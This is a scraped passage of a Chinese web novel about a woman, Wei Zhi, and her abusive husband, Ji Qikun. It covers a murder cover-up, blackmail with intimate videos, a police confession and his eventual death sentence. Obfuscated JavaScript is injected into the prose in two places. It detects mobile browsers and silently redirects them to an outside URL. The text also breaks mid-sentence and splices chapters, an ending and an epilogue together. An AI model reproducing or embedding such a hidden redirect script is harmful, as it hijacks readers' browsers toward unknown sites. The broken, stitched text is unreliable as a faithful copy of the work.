“宝贝,起来吃早餐了。快点,不然面包和咖啡都要冷了。”他亲热地在她额头留下一吻,率先走出了卧室。 魏芷在床上坐了起来,像是还没睡醒,一动不动地听了一会卧室外摆放碗碟的声音,然后才走进了浴室洗漱。 五分钟后,她走出房间,季琪琨已经将自制三明治和热咖啡都在她的座位前摆好了。 “以往都是你为我准备早餐,今天我想主动一次,感谢老婆以往对我的付出。”季琪琨笑道,“坐吧,咖啡温度应该正好。” 魏芷配合地在他对面坐下,拿起咖啡杯抿了一口。 “怎么样?”季琪琨笑着说。 “好喝。” 魏芷点了点头,拿起盘子里的三明治慢慢吃了起来。 季琪琨没有对自己的那份三明治动手,只是默默地看着魏芷进食。在她吃了一半的时候,他冷不丁地忽然开口了。 “小芷,你爱我吗?” 魏芷抬起眼来。 “我从前有过很多女人,但你是最特别的那一个。我比任何人都要爱你。这份爱不会因为任何事情而改变,无论你变成什么样子,无论我们之间是否有婚姻关系。你都是我最爱的女人。” 魏芷没有说话,但把手里没吃完的三明治慢慢放下了。她的这种超出意料的冷静,反而让季琪琨内心不安起来。 他强装镇定,继续苦口婆心地说道: “虽然这段时间暂时没有警察上门,但我们依然不能放松警惕。我想了一个办法,老婆。我们先假离婚,然后我送你出国躲一段时间,你可以当出门散心——对了,你可以去西班牙,去普拉多博物馆看《人间乐园》。等到过个一两年,风声彻底平静了,我再接你回来。好不好?” “不好。”魏芷的拒绝毫不犹豫,也不带任何感情。 “为什么?”季琪琨追问,“你有什么顾虑吗,老婆?还是你不相信我?” “我不想离开你。”魏芷抬起头来,直视着他急切的目光,“难道你不是吗?” “我当然也不想离开你啊,我说过了,这是暂时的,为了我们能够长久厮守,短暂的分离是必要的。” 季琪琨再次加码: “虽然我已经为你还清了网上的债务,但你要是出国,身上没有钱也不行,我会再给你转一百万现金,作为你这一年的生活费。” “假离婚?” “是的,假离婚。”季琪琨见她态度松动,连忙送上蜜语,“过两年等你回来,我们再举办一场盛大的婚礼,把我们的亲朋好友全都邀请来。” “假离婚的时候,财产怎么分割呢?”魏芷神情随意,仿佛只是随口一问。 “假离婚怎么分割财产呢?”季琪琨故作惊讶道,“伯父伯妈是知道我们签署了婚前协议的,财产一分割,他们不就知道我们离婚了?惊动了他们,难免不会惊动警察。这就有违我们假离婚的初衷了。” “而如果不分割财产,我可以说你身体不好,去了国外休养,假离婚的事情就只有我俩知道。”季琪琨顿了顿,“你问这个,就像是不相信我似的。我很难过,小芷。难道你和我在一起,完全是为了钱,而没有任何感情吗?” “感情?”魏芷慢慢咽下了口中的最后一口碎面包,脸上露出似笑非笑的表情,“现在难道不是你想摆脱我吗?” “我从没这么说过,你怎么能这样想我?” “老公,我们在一起一年多了。你的干净的,不干净的一面,我比谁都清楚。”魏芷说,“你在我面前说这种话,挺没有意思的。” 季琪琨盯着她看了半晌,随着一声嗤笑,他卸下了脸上的虚假表情。 “那你觉得什么有意思呢?你的不雅视频有意思吗?” “你威胁我?” “我可没有那样说过。”季琪琨说,“我给你五百万现金,一栋三环内的别墅,再加上车库里的那辆奔驰,还有你的不雅视频。我们离婚。你从前和以后做的所有事情,都与我无关。” “老公,人是你让我杀的。你怎么事到如今才后悔呢?”魏芷说。 季琪琨从来不认为翁秀越是他让她杀的。起码不是以这种三流美式暴力片的方式杀掉。在他心中,从翁秀越的尸体出现在他的后备箱起,他就成了一个无辜的受害者,始终在为魏芷的愚蠢和疯狂所绑架。 魏芷理直气壮的反问,让季琪琨压抑已久的愤怒终于爆发出来。 “我没叫你杀人!如果没有你,我根本不会走到今天这一步!” 他猛地一推,桌上的咖啡杯和盛着三明治的瓷盘在刺耳的碎裂声中相继破碎。 让他没想到的是,魏芷比他的反应更加激烈,就像是达到了超临界状态的反应堆,她用更大的愤怒镇压了他的愤怒。 在他没有反应过来之前,脸上就挨了狠狠一巴掌,紧接着,她的尖叫铺面朝他而来—— “我是因为爱你,才铤而走险啊!难道爱你也算是我的错吗?” “如果不是为了你,我又怎么会杀人!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856504|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 季琪琨顾不上火辣辣的脸颊,下意识地想要去捂她的嘴,掩埋那刺耳的“杀人”二字。 “是你先威胁我,不除掉翁秀越就要和我离婚——是你说要和我重新开始的!你说你想和我,和我们的孩子,组成幸福的家庭——不杀了翁秀越,我们就永远不会幸福!这些都是你说的,你怎么能够——怎么能够在我杀了——” 一个又一个尖锐可怖的字眼从那张毫无理智可言的嘴里说出,季琪琨简直难以想象,世上竟然有如此癫狂的人,他怕这些可怕的字眼钻出门窗缝隙,一个箭步跨到魏芷面前。 她后面的话,被季琪琨用右手死死捂住,堵在了喉咙里。 她更加激动地用力挣扎,十根指尖在他的脖子和脸上划下一条条血痕。热辣的感觉从他的皮肤蔓延到他的心脏,有那么一个瞬间,被激怒的季琪琨心中闪过一个念头,就这样捂死她算了。 但理智仍在起着作用,他知道不能这样,至少此时此刻还不能这样。 忽然之间,在他双手里挣扎的魏芷安静下来。 她不再吼叫,那双原本冷静冰冷的眼眸,忽然俏皮轻快地扑闪起来,他干燥的掌心接触到了从她唇中呼出的热气,他怀着一丝胆颤,紧握着她颧骨和面颊的右手慢慢松开了。 在他的掌心下,是一个若无其事的灿烂笑容。 “老公,我要告诉你一个秘密。”她神秘兮兮地说,好像先前的争吵以及桌下碎裂的瓷器都是一场幻影。 “……什么秘密?”季琪琨的心狂跳起来。 “你把耳朵凑过来。” 季琪琨迟疑了片刻,然后才将耳朵不情不愿地靠近魏芷。她似乎嫌他动作太慢,抓着他的耳朵猛地凑了过去。 在那一刻,他几乎以为她会突然变脸,狠狠咬他一口。 想象中的疼痛并没有传来,与之相反,只有魏芷说话时轻柔的吐息轻轻触及他的耳蜗。 “其实,抛尸那晚我是开着空车出城的。” 她说。 他后退了一步,不敢置信地看着她。同时一股彻骨的寒意伴随着脑海中一个可怕的念头升了起来。 魏芷露出了开怀的笑容,像是恶作剧得逞的小孩,漆黑的双眼闪闪发亮。 “你知道吗,每次看到你望向奔驰的后备箱我就想笑——” “为什么,你从来没有打开过那辆添越的后备箱看看呢?” 魏芷话音落下,空旷的大平层里仿佛还在回荡着她的余音。 季琪琨脸色惨白,呆站片刻后,狼狈地冲出了房门。魏芷知道他去做什么了,所以安心地坐在一片狼藉的餐桌前,继续吃着自己剩下的三明治。 季琪琨不知道自己怎么来到车库的,他望着添越黑色的后备箱,像是望着地狱之门。许久之后,他才说服自己用僵硬的手指,按下车钥匙上的后备箱按钮。 地狱之门缓缓开启。 缠绕着保鲜膜和黑色活性炭的尸体出现在季琪琨眼中,因为尸体开始腐烂的缘故,尸体比他记忆中的模样略微发胀了,空气中也出现了一丝隐约的臭味。 上一次,他还敢剥开保鲜膜去确认里面的模样,这一回,他疯狂按下后备箱的按钮,生怕箱门落得晚了一秒。 他根本无法用常人的思考去推测魏芷的行动。 他无论如何也想不通,魏芷这些行动的意义是什么。他无法揣度魏芷的下一步行动,意味着他对现状失去了全盘的控制,一股如同坠入万里冰封之下的窒息感笼罩着他的全身。 那是他有生以来,第一次感到绝望。 熟悉的脚步声从身后响起。 那是海豚优雅的摆尾。 “你到底想做什么……” 季琪琨用沙哑得几乎不成型的声音说道。 他知道一旦问出这句话,就代表着游乐场的控制权彻底转移到了对方手里。但他还是问了出来。 因为他已经一筹莫展,被逼入了绝境。 “因为我爱你啊。” 她从身后环住他的腰肢,恶劣地说道: “我要做你一辈子的共犯——” “让你一生都无法逃脱。” 51.第 51 章 “老公,你没有胃口吗?” “我知道你很受冲击,但不吃饭身体会受不了的。” “这可是专门为你准备的爱心午餐,不吃完,我可是会生气的哦?” 墙上的时钟滴答作响,仿佛生命的倒数。 魏芷的手轻轻托住季琪琨的下巴,动作轻柔得令人窒息。她的目光无声却充满压迫,仿佛能穿透他的灵魂,将他的一切反抗扼杀在摇篮之中。 季琪琨僵硬地坐在椅子上,不敢有任何反抗的动作,只能被动地接受这一口又一口的喂食。盛有食物的汤匙粗暴地塞入他的口中,时不时会撞上他的牙齿和脆弱的上颚,他在断断续续的疼痛中机械地咀嚼,每一口迫不得已的吞咽,都像是在将他的理智一点点地蚕食殆尽。 瓷器的碎片散落在餐桌下,无人去打扫,它们在昏暗的光线中闪烁着寒光,宛如魏芷目光的延伸。 他感到心中一阵剧烈的翻涌,仿佛有什么东西在胸腔里挣扎着想要挣脱。他的胃和心都被塞满了,当魏芷将一勺食物再次塞进他的口中时,他忍不住弓起身子,剧烈地呕吐起来。 还没来得及消化的食物喷溅到地上,和早上摔碎的瓷片混在了一起。 臭气混杂着热气,飘散在这片晦暗的空间里。 魏芷收回了勺子,平静地等待他的呕吐结束。 直到除了胃酸什么也吐不出来,季琪琨才停止了呕吐,虚弱地靠在椅子上,喘息声在空气中回荡。 而魏芷盛满食物的勺子又一次递到了他的嘴边。 他痛苦地向后躲去,忍不住哀求道:“我真的吃不下了……” “你就是这么对待别人的一番好意的?”她的脸上没有一丝赦免,“你知道我在这桌午餐上花费了多少功夫吗?你真的很不体谅人啊,把妻子准备的爱心午餐吃完,不是丈夫的职责之一吗?” 冰冷的汤匙粗暴地撬开了他的嘴唇,食物和汤汁顺着他的嘴流了下来。她抓着他的头发,强迫他仰面向上,不许再吐出来。 他像虾米一样痉挛起来,食物顺着食管上涌,在那一勺食物喷出口腔的一瞬间,魏芷敏捷地后退。 那些都来不及落至胃部的食物这回落到了他的身上。 “我求你了,我真的吃不下了……” 季琪琨用沙哑颤抖的呻吟求饶道。 “求我?那就拿出求人的态度。”魏芷露出了意味深长的笑容,“老公,你不是很擅长求人吗?” 三个小时前的画面浮现在季琪琨脑中。那时候,空气中淡淡的腐臭刺激着他的神经,他拖不起,也失去不起。比起一无所有的魏芷,他的人生是千万人遥不可及的梦想。他几乎没有犹豫,双膝就曲折了下去。 他跪在车库冰冷坚硬的地面上,在他面前,是一个无法捉摸,彻头彻尾的疯子。 他向这个疯子乞求道: “老婆,我知道错了。” “你想要什么我都答应你,求你了,让这一切结束吧——” 季琪琨的喉结上下滚动,像是打磨一句恰当的回答,但从微微张开的嘴唇中传出的,只有仿佛病重之人临终的喘息。 终于,在细碎瓷片与呕吐物遍布的地面上,他再次跪下。 “求你了……” 他喃喃自语般说道,黑色的瞳孔黯淡无光。 魏芷掏出手机,拍下了他的这幅模样。等到咔嚓声响起,他才抬起头,呆滞的眸光被不可思议唤醒,难以置信地看着魏芷。 “我最近也爱上了拍照呢。”魏芷一边打量着相册里的新照片,一边笑着说,“不过,我还是新手,还要老公多多指导才行。” 她的笑容转瞬即逝,魏芷收起手机,冷冷道: “把这里收拾干净,不要再让我失望了。” 等到魏芷的身影消失在卧室门后,季琪琨才如梦初醒般地环顾向周围的狼藉。他的身体前所未有地冰冷,胸腔下的心脏却又极其地滚烫,愤怒之火在其中熊熊燃烧。 他咬紧牙关,蹒跚着走进主卧外的浴室。 打开淋浴开关,冰冷的水流从天而降,将他整个身体湿透,往日里光鲜的奢侈品套装,此刻混合着呕吐物,黏腻地贴在他的身上。 水珠沿着黑发流下,淌过布满血丝的双眼。季琪琨像一头走投无路的困兽,双手握拳用力捶打着冰凉的瓷砖墙面。渐渐地,淡红色的水流顺着瓷砖滑落,丝丝缕缕地扩散在他的脚边。 最后一拳落下后,他在澎湃的水流中低下了头,发红的眼眶一动不动地盯着角落的地漏。 那里,血色的漩涡正在成型。 一个小时后,季琪琨敲门进了主卧。魏芷正在床上悠然地看书,听到他进来,也只是不冷不热地抬起眼眸,扫了他一眼。 季琪琨亲昵地坐在了床边,他换上了干净的衣服,吹干了头发,仿佛又回到了一切发生前的那个样子。 “老婆,你别生气了。刚刚没把你精心准备的午餐吃完,是老公不对。”他握住了她的手,脸上挂着矫揉造作的笑脸,“不过你也要理解我,毕竟早上刚看了那幅画面,没有胃口也是正常的,绝对不是老婆做的饭菜不合胃口。” 魏芷沉默不语地打量着他。 “看什么书呢?”季琪琨刻意地探头去看她手中的书,好像对此很感兴趣似的,但不等她说话,便又换了话题,讨好地说,“不午睡一会吗?要不,我给你泡杯咖啡?” 魏芷抽出了那只被他握住的手,转而捏住了他的下巴。 “老公,你到底想说什么呢?”她微微歪头,温柔地笑道。 那两根手指如铁钳一般紧紧固定着他的下巴,季琪琨却不敢表现出丝毫异议。 “老婆,你打算什么时候处理后备箱的东西?”他用比魏芷更柔情蜜意的声音说道,“我没有别的意思,只是担心你再不处理,臭味或者别的什么意外,就会把警察吸引过来。” “处理了,你就好摆脱我?” “当然不是了,我已经知道错了,老婆——”季琪琨马上说道,“就像你说的,我们已经是密不可分的共犯了。我劝你早点处理那东西,也是为我们着想,毕竟,我们以后的日子还长,如果让一个已经死去的人给破坏了,那不是太可惜了吗?” 魏芷半晌没有说话,仿佛是在思考他说的话。 “这一次,你会帮我吗?”她问。 一阵狂喜从季琪琨心头传来,但他克制住没有在脸上显露出来。 “之前是我太不负责任了,不该将这种事全都扔给你。这一次,我一定会帮你的。”他说,“再信我一次,小芷。” 季琪琨的目光,无比的真诚,有许多人都曾被那双眼睛欺骗。 那样的事情,再也不会发生了。 “那就今天晚上。”魏芷凝视着他说。 大山关派出所,午后强烈的日光从窗户中照进,在嘈杂的窗口区背后,办公区只有翻阅档案,敲击打字的声音。 张开阳坐在自己的办公桌前,正皱着眉头看一份文件。 “张哥!” 后辈冲到办公区门前,一把扒住门框就往里急声喊道。张开阳下意识抬起眼,发现他身旁还有负责窗口办案的年轻女警。两人都神情焦急。 张开阳立即放下手中的文件走了过去。 “怎么了?” 后辈低声对他耳语了几句,张开阳面色骤变,猛地向第三问询室跑去。 空旷的问询室里,一个人影端正地坐在问询桌前。 对方衣着整洁,但脸上有着未掉痂的伤口,头上也绑着绷带。从急促的脚步声从问询室外响起的那一刻起,她就在用沉着的目光注视着门扉,等待着和老熟人在八年后第一次四目相对。 问询室的门扉被大力推开,张开阳一个跨步迈进问询室,随即便再也没有挪动一步。他的目光中有震惊,有警惕,也有亲眼见证一个人变得面目全非的悲痛。 “你……” 他哑声开了个头,还没说完完整的一句话,对方就已经打断了他。 “八天前,报警说水站发生命案的人——” “是我。” 翁秀越平静而坦然地站起身来。 寂静的问询室里,一个空白的本子被窗外的风所拂动,第一页悄然飘起。 在安静的办公区,张开阳刚刚放下不久的那份文件也在微风中轻轻晃动。第一页上,黑子白纸地写着这是一份关于翁秀越和谈进的失踪档案。 六天前,他在车库和魏芷进行交谈时,接到的那通电话来自刑警大队。 “根据现场勘查和血检的结果,水站里残留的血迹是鸡血,也未发现搏斗的痕迹。所以,我们队打算将案子交还给大山关。如果有新的线索,可以随时和我们联系。” 案子交还给大山关派出所之后,就被当成了一般的失踪案进行处理。 他没有告诉任何人,魏芷和翁秀越之间的联系。 那是他们之间的承诺。 烂尾楼的那一晚,他叫住了正要离去的魏芷。 “我只是想告诉你,你现在承担的那些压力,本不该由你承担。”他说,“惩恶本就是我们的工作。” “这些年来,我一直没有放弃为梅满伸张正义。虽然季琪琨找到了法律上的漏洞逃脱惩罚,但法律是数千人经历许多代耗尽心血制定出来的,它不是天衣无缝的,但也不是仅凭一两人,两三百人的奸猾就可以蔑视的。” “五年前,我调查发现季腾坠楼那一晚,季家除了季琪琨以外,还有一个目击证人。” “当时在季家帮工的夏姓女正在和她的前夫打离婚官司,因为八岁的儿子无人看管,她悄悄带去季家,藏在了储物室的地窖里。巧合的是,在季腾坠楼之后,这名男孩就在地窖里发起了高烧,并对母亲呓语‘哥哥被推下去了’。” “女佣怕得罪季钟永和季琪琨,不敢声张,很快就把孩子送回了老家,自己也在一年后借故辞职。” “现在,那名八岁的孩童已经二十四岁,因为一起汽车抢劫案逃亡多年。只要他落网,我相信一定能获得将季琪琨送进监狱的决定性证据。” 在他说话的时候,魏芷一直背对着他。那不是漠不关心,因为他注意到她克制的颤抖。 半晌后,她转过身来,定定地看着他。 “即便你找到证据,这起案子的时效也已经过了。” 张开阳冷静地说道: “我已经说服了季琪琨的一名前女友,取得了他在交往期间对她非法监禁的证据。” “为什么要告诉我这些?”魏芷哑然失笑,“案情相关,不是应该对我这个无关人员保密吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在之后的人生中,她无数次地为那一刻说出的话而感到痛彻心扉。 她的每一个生日,在梅满死后都变成了忌日。 如果没有说那句话就好了。 她不停歇地想。 她的一生没有多少快乐的记忆,她的眼泪,更没有哪一次是因为幸福而流。 但此刻,她并非是因为痛苦而流出眼泪。淌进嘴角的泪水也并不涩口,那股带着暖意的咸,让她感到了落日时分被拍上海岸的浪花,在夕阳下闪着金灿灿的暖光。 她本打算不被任何人理解地战斗。 爱曾经杀死了她,但也在许多年之后的这一刻,拯救了她。 “你向我发誓——” “说我可以信任你。” 她说。 张开阳的身影已经模糊不清,但他坚定而沉着的声音,仍清晰地传递到她心灵最深最黑的角落。那里没有光,没有温暖,只有一个用狗链亲手困住自己的小女孩。 “我向我承诺用生命来守护的人民发誓——” 他说: “你可以相信我到最后一刻。” 光芒撕裂了无边的黑暗,温暖的朝日驱散了冰冷。那条血迹斑斑的狗链一寸寸粉碎,虽然她过去的伤疤永远不会消失,但她再一次获得了与人链接的能力。 模糊的视野中,她看到张开阳朝她伸出的手。 若干年前,梅满向她伸出的那只手与这只手重叠。 “……我的名字?”她抚摸着小臂上的膏药贴,喃喃说道,“我不喜欢我的名字。” 光滑柔腻的膏药贴表面,遮住了那些可怖的突起鞭痕,她不习惯那种感觉。 “那我叫你小瓜子好了。”梅满满面笑容道。 “为什么是小瓜子?” “因为小瓜子最终会开成向日葵啊。” 从来没有人期望过她能成为那样灿烂明媚的存在。就连魏芷自己,也没将自己和那种美好的事物联系到一起过。 这个名字和膏药贴给她的感觉一样,都是她强加给她的东西。 但她不觉得不快,反而珍惜地接受了这个名字,就像当时的她,不断地抚摸那张沾染上温度的膏药贴一样。 “那我叫你猫咪姐姐吧。” “为什么是猫咪姐姐?”梅满惊讶道,“难道我看上去像猫咪吗?” “因为梅满的首字母是‘MM’,猫咪也是‘MM’。” 她的回答非常无趣,但梅满还是露出了被逗乐的笑容。 她其实不喜欢猫。 在和梅满成为朋友之后,她不知什么时候起,养成了用生活费买一根火腿肠放在书包里的习惯。每当猫咪围绕在脚边,束起高高的尾巴磨蹭时,她就会伸手摸一摸它们柔软的小脑袋。 她喜欢猫,因为她喜欢猫咪姐姐。她喜欢猫咪姐姐,是因为猫咪姐姐也喜欢她。 因为梅满,她的人生,才在十六岁时继续延续下去。 “只要坚持下去,一定能找到属于你的幸福的。” 梅满温柔的话语在她死后依旧不散,就像她生前指引着魏芷往有光的方向前进一样,时至今日,依然有一股看不见的力量,轻轻推着魏芷往温暖明亮的地方而去。 透过婆娑的泪水,她好像又一次看见了梅满的笑容。 这一次,她不会再犹豫了。 魏芷擦干眼泪,紧紧握住了张开阳的手。 【全文完结】 雨夜行凶的视频片段在一夜之间点燃了网络。 无论是电车上、商场里、还是咖啡厅中,无数个手机都在浏览同一个视频。 “卧槽,季氏集团继承人杀人了!” “真的假的?视频发我看看!” 虽然官方很快下场,视频片段下架不见,但舆论还是愈演愈烈。随着各种各样的猜测漫天飞,江都市公安局以最快的时间发布了警情通告。 曲折的真相令世人愕然,“梅满案”三个字,在梅满死后的第八年冲上微博的热搜第一。 项链里的微型摄像机,还有车上的行车记录仪,忠实地记录下了季琪琨的犯罪事实。无论他如何狡辩,事实都不会改变。 卷毛青年的监控器材店订单暴增,得益于他在每个相关讨论帖下的热烈顶帖。 “知道画面为什么那么清晰不?因为是我卖的摄像头啦!想要同款的快来鹰眼安防,报魏芷我给你打六折!” 随着舆论的扩散,网络上的热烈讨论,精神控制一词浮上大众的视野。 “你们知道吗,光季琪琨创建的那个聊天群就有两千人,听说网上还有专门卖教程的论坛,这东西都形成产业链了!太可怕了!” “我劝女孩都长长心吧——凭男人说得天花乱坠,不要拍那种视频。爱你的时候那是情趣,不爱你的时候,那就是捅你的刀子。” 在警方的全力追捕下,张开阳独自追寻了八年的夏铭天也在北方落网,张开阳得到消息后第一时间赶到当地派出所,从他口中得到了季腾一案最为关键的目击证据。 围绕着如何判处季琪琨,尤其是季琪琨在梅满案中是否构成虐待罪,法律人士纷纷在网络上进行了激烈的讨论。 “根据刑法对虐待罪的规定,虐待行为的文字表述被限定在“家庭成员”之间。显然梅满并不在其范围之内,八年前,梅满母亲也是因此败诉。我认为这次判决结果同样不乐观。” “什么叫有法可依?法律必须由立法机关来制定,而司法机关只负责执行法律。如果法院可以随意更改法律,那法律体系岂不是迟早乱套?” “怎么就是法院更改法律了?人大法工委主编的《刑法修正案九》的解释与适用中,对虐待罪中“家庭成员”的范围进行了明确。根据这一解释,家庭成员包括四种情况,其中第四种是由其他关系产生的家庭成员,这包括了同居关系。我请问你,季琪琨和梅满在事发时是否正在同居?你说法院不是立法机关,全国人大总是了吧?” “所谓的‘文本原教旨主义’强调,法律文本应当被严格遵循,不允许随意解释。这意味着,除非立法机关对法律文本进行了明确的修改,否则任何额外的说明都不能构成法律的一部分。简而言之,法律的解释必须基于文本本身,不能超越文本所赋予的界限。说明就是说明,说明和法律不一样,哪怕是你全国人大的说明也不是法律。” “一个年纪轻轻的小姑娘就这么死了,我作为个人肯定是很同情的,但是我们法律人不能只讲感情不讲法律,退一万步来讲,就算法律存在不合理之处,也应当由立法机关修订法律,而不是法院通过判决直接进行认定。” “你要法律是吧,2016年也就是今年3月1日开始实施的《反家庭暴力法》,第37条规定就有‘家庭成员以外共同生活的人之间实施的暴力行为,参照本法规定执行’。” “这条法律恰恰说明了家庭成员和非家庭成员是两个不同的范畴。法律只是将后者的暴力行为纳入了本法的适用范围,进一步明确了这两个群体的区别。因此,可以证明刑法中虐待罪的主体——家庭成员,并不包括家庭成员以外的人。这就好比学校里的辅导员,尽管他们在某些职责上与正式教师相似,遵循相同的指导原则,但我们不能将辅导员视为正式教师。在需要正式教师资格的特定场合,辅导员并不具备相应的资格,因此不适用。” “法律存在是为了保持社会的相对稳定,我相信学法的人都会有这样的认知。只有社会稳定,绝大多数人的生活才能稳定。因此,我们可以说法律是绝大多数人的正义。那么剩下的一小部分人呢?她们的正义法律就不管了吗?当然不是的。只是任何事物都是越靠近完美,进步所要付出的代价也就越大。” “法律好比是一把工具,其效用取决于使用者的意图和方式。正义之神之所以蒙上双眼,是因为真相往往模糊不清,这就需要警察和法官来揭开迷雾,还原事实真相。一昧地刻板套公式,那审判席上为什么坐的不是机器人?法律是没有感情的,但你要是学法把人性学没了,那就本末倒置了!” 两派争执不休的时候,处于案情中心的魏芷和翁秀越始终没有露面。 翁秀越因为使用假证和非法监听等一系列违法行为,正在拘留所中等待判决。而魏芷虽然在法律上走钢丝,但万幸未曾真正触犯法律。只是在医院住院期间,接受了许多调查问话。 出院那天,魏芷在张开阳的陪伴下办理了出院手续。 宽阔的屋檐像是慈悲的巨手,轻轻投下一片柔和的日光。她凝望着这片温暖的光束,许多人与事都在光影中缓缓起舞。 “谢谢你。”她转过身,对张开阳正式表达了谢意。 “没什么,我今天正好也休息。”张开阳身穿常服,微微一笑。 魏芷摇了摇头,说:“不光这一件事。” 张开阳不好意思地低头笑了: “……没什么。” 数日后,魏芷申请了和看守所里的季琪琨见面。 隔着一扇厚厚的玻璃,她再次见到了季琪琨。事发之后,季氏集团都立即发文与他切割,习蔓菁公开接受采访,要求法院一定要严惩杀人凶手,而季钟永则拒绝公开表态。 他穿着一身囚服,蓝白条纹如铁栏般冰冷,往昔风度早已不在,仅余枯槁的脸与凌乱的发。 见到魏芷,他没有勃然大怒,也没有谩骂诅咒,就像是已经接受了昭然若揭的命运似的,他接起电话,死气沉沉的脸上拧出一抹冷笑。 “你是来嘲笑我的吗?” “我来看看你,担心你在这里过得不好。”她一如标语图片里的温柔妻子说道。 “你在我身下娇喘的样子会被每个经手调查的人看到,是这种暴露让你觉得开心吗?”季琪琨恶毒地说。 他尝试用他的老手段激怒魏芷,但她脸上并没有丝毫波澜。 “我会等你改造好出狱的,我会像从前那样爱你。”她微笑道,“如果你还能出狱的话。” 季琪琨的右手猛地拍上玻璃,咬牙切齿的面庞狰狞又恶毒。在他身后的狱警连忙上前拉他,但他死死扒着玻璃不放手。 “魏芷,如果我真的被判死刑,我一定会化作厉鬼来缠着你——” “好啊。” 魏芷笑道。 “等你化作厉鬼,我们再相爱百遍,千遍,万遍——” 她凑近玻璃,朝对面的季琪琨一字一顿道: “直到你灰飞烟灭为止。” 走出看守所后,她没有看公交号,随意坐上了一辆停靠在公交站的公车。坐在最后一排靠窗的位置上,她戴上耳机,点开了小瓜子和猫咪姐姐的聊天记录。 一开始,梅满可能认为自己应当肩负起姐姐的责任,在魏芷面前总是装出一副成熟的样子,教导魏芷如何才能少挨一些打,但她的办法,无非就是无条件的顺从,来祈求大人的一时怜悯和放过。 随着时间的流逝,两人越来越熟悉。梅满也开始吐露一些自己的迷茫和难过。 “我不知道为什么,我妈妈很爱我,但我一点都不开心,相反,我经常感到很痛苦。她从来没有缺过我的生活费,我想要什么她基本上都会满足我。但我不能有一点违背她的地方,否则就是不知好歹。小瓜子,我真的是一个不知好歹的人吗?” “妈妈说她爱我,妈妈的朋友们也说她爱我,邻居和老师也说妈妈很不容易,为我付出了一辈子。每次我想要表达自己的内心,他们都会说我还不懂事,无法理解妈妈的爱。小的时候,我以为是她们在偏帮母亲,但后来进了社会,其他人也这么说,每次当我感到无法呼吸,他们就会说,‘妈妈是因为爱我才会这样的’,我不知道我的感受为何和他们不一样,但我知道一定是我错了,妈妈一定很爱我,是我不知好歹。” 梅满陪伴了魏芷,让她有了重新开始生活的希望,魏芷也在陪伴梅满,让她尝试背离母亲的控制。 瞒着翁秀越,梅满在大学开始了第一次也是最后的恋爱。 交往初期,她很幸福,总是对魏芷说,“像是找到了命中注定的那个人一样”。 “他风趣、体贴、即便我什么都不说,也知道我在想什么。” 然而,梅满和她见面的时间,随着她与季琪琨的交往而渐渐减少。魏芷还曾取笑她重色轻友,直到发现她在线上聊天中的字数也越来越少,语气越来越低沉。 魏芷几乎约不到她了。 直到有一天,她得知那个人对她动了手,魏芷十分气愤地要求梅满立即与男方分手,却得知梅满在男方的哄骗下拍摄了不雅视频,她不敢分手。 那一整个晚上,魏芷都在网上搜索相关案例,为她想办法。 她鼓励梅满及时止损,如果季琪琨敢泄露视频就报警抓他。在将近一个月的劝说之下,梅满渐渐被她说动,决定对季琪琨提出分手。 但分手只持续了一天,就被季琪琨以吞药自杀要挟,梅满再次回到了季琪琨的身边。而魏芷的联系方式也被季琪琨命令梅满彻底删掉。 看着消失在联系人列表的梅满,那个时候,魏芷就知道,梅满和她的母亲一样,或许永远也走不出那个名为爱的囚笼。 在彻底失联前的最后一次聊天里,梅满罕见地对她打了一长篇话: “最近,失眠成了我的常态。在漫漫长夜中,我思考时间,思考宇宙,思考我自己。渐渐地,我仿佛不再是我,我的喜怒哀乐,更像是在观看一个无关紧要的人的表演。我不再感到痛苦,所以才有机会把自己的人生看得更清楚。如果说季琪琨是打着爱的旗号在伤害我,那么第一个以爱之名想要掌控我的人,难道不是我的妈妈吗?那一瞬间,我忽然醍醐灌顶,原来,爱就是伤害啊。” “既然爱总会伤人,那么被谁所伤,又有什么区别呢?我渴望逃脱,却无法自拔。但我相信,小瓜子终将破土而出,成为一朵灿烂的向日葵。因为在黑暗中,只要有一线光亮,它便会用尽全身力气,朝着太阳的方向奋力生长。真希望我也能拥有你那样的勇气。” 公交车缓缓驶过城市的脉络,窗外的街景如一幅幅褪色的画卷在眼前倒退。高楼大厦的玻璃幕墙反射着夕阳的余晖,像是无数面破碎的镜子,映照出一个个虚幻的影子。街灯渐次亮起,黄昏的光晕在夜幕中扩散,魏芷湿透的面庞像是一朵沾满露珠的白芷。 六个月后,沸沸扬扬的案子在江都市中级人民法院开庭。 魏芷和张开阳站在人满为患的旁听席中,在她身旁,是被两名随行人员夹在中间的翁秀越。她暴瘦了四十多斤,黑发整整齐齐地盘在脑后,脸上画着干练的淡妆,定定地注视着台上正在宣判的女法官。 肃穆的声音响彻在鸦雀无声的空间中。 前方的被告席上,季琪琨低眉敛目,强装镇定,但难以掩饰身体的僵硬。 “本庭现在宣布对被告人季琪琨的一审判决。” “经审理查明,被告人季琪琨的行为构成虐待罪、故意伤害罪、故意杀人罪,严重破坏了社会秩序和公民的人身安全。被告人在犯罪过程中表现出极大的残忍和冷酷,对受害人及家属造成了无法弥补的伤害,且毫无悔改之意。” “根据《中华人民共和国刑法》的相关规定,本庭判决如下: 一、被告人季琪琨犯虐待罪,判处有期徒刑三年二个月; 二、被告人季琪琨犯故意伤害罪,判处有期徒刑十五年; 三、被告人季琪琨犯故意杀人罪,判处死刑; 四、数罪并罚,决定执行死刑,剥夺政治权利终身。 同时,根据《中华人民共和国刑事诉讼法》的相关规定,被告人季琪琨需赔偿受害人及家属共计人民币210万元。 本判决为一审判决,被告人如不服本判决,可在接到判决书之日起十日内,通过本院或直接向上级法院提出上诉。 本庭宣布闭庭。” 季琪琨瘫软在地,不敢相信刚刚听到的内容。 